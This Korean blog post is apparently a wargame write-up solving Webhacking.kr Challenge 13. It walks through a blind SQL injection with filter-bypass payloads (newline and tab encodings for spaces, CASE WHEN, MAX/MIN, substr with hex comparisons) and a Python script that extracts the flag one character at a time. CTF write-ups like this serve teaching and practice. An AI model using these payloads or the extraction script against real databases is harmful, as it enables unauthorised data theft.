Challenge 13
Blind SQL Injection 문제입니다.
문제 메인페이지입니다.
Hint와 데이터 값을 입력하는 곳과 flag를 입력하는 곳이 있습니다.
임의의 값을 입력해 봅시다.
result의 값이 0이 나옵니다.
true 나 1을 입력한다면 위와 같이 1이 출력됩니다.
이렇게 결과 값이 참과 거짓으로만 구분될 때는 Blind SQLi 를 이용해야합니다.
우선 기본적으로 ascii, 공백, <,>,= 비교연산자 같은 블라인드 SQLi 필요한 것들은 필터링이 되어 있었습니다.
그래도 블라인드에 필요한 case문이나 If문은 사용이 가능했습니다.
case when 조건 then True else False end
if(조건, True, False)
이렇게 두 가지 중 하나를 이용하시면 되겠습니다.
공백을 우회하기 위해서는 %0a, %0d, %09 등을 사용할 수 있습니다.
case%0awhen%0a(select%0alength(flag)%0afrom%0aprob13password)in(1)%0athen%0a1%0aelse%0a2%0aend
case when (select length(flag) from prob13password)in(1) then 1 else 2 end
여기서 저는 flag가 하나라고 생각을 하고 있었습니다. 아무리 해도 안됬으니깐요. : (
여기서 혹시 flag 값이 여러개인지 확인해보았습니다. limit는 필터링 되있기 때문에
MAX(), MIN()을 사용하여 각 각 Length를 비교해 보았습니다.
case when (select length(MAX((flag)) from prob13password)in(4) then 1 else 2 end
MAX를 이용하여 가장 큰 값을 불러와 길이를 체크하였습니다.
MIN을 이용하여 가장 작은 값을 불러왔습니다. 20글자입니다.
위의 쿼리에 문자의 Hex값을 이용하여 비교를 합니다.
case when substr((select MAX((flag) from prob13password),1,1)in(0x41) then 1 else 2 end
'A'는 0x41 입니다. 이렇게 substr을 이용하여 한 글자씩 가져와 비교합니다.
Python을 이용하여 Blind SQLi 편하게 풀어보았습니다.
1 2 3 4 5 6 7 8 9 10 11 12 | for j in range(0,76): headers={'Cookie':'PHPSESSID=ee15b4e59f399a8d660366135763bf4f','Content-Type':'application/x-www-form-urlencoded'} conn=httplib.HTTPConnection('webhacking.kr') conn.request('GET','/challenge/web/web-10/?no=case%0awhen%0asubstr((select%0amax(flag)%0afrom%0aprob13password),'+str(i)+',1)in('+str(hex(ord(str(string[j]))))+')%0athen%0a1%0aelse%0a2%0aend','',headers) data=conn.getresponse().read() if '<td>result</td></tr><tr><td>1</td>' in data: result=result+string[j] print str(i)+' data is '+string[j] print result length=length+1 break print str(i)+' -> '+string[j] | cs |
제가 사용한 소스의 일부분입니다. 검색하면 쉽게 찾을 수 있으니 문제에 맞게 조금만 변경하시면 됩니다.
직접 소스를 짜보면 더욱 좋죠 : )
소스를 통해 위와 같이 flag 값을 알 수 있습니다. (Max(flag)의 값입니다.)
Blind SQLi 를 이용해서 알아낸 값을 입력하면 문제를 해결할 수 있습니다.
'Wargame | CTF > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] Challenge 15 (0) | 2016.11.14 |
---|---|
[Webhacking.kr] Challenge 14 (0) | 2016.11.14 |
[Webhacking.kr] Challenge 12 (0) | 2016.11.13 |
[Webhacking.kr] Challenge 10 (0) | 2016.11.13 |
[Webhacking.kr] Challenge 9 (0) | 2016.11.13 |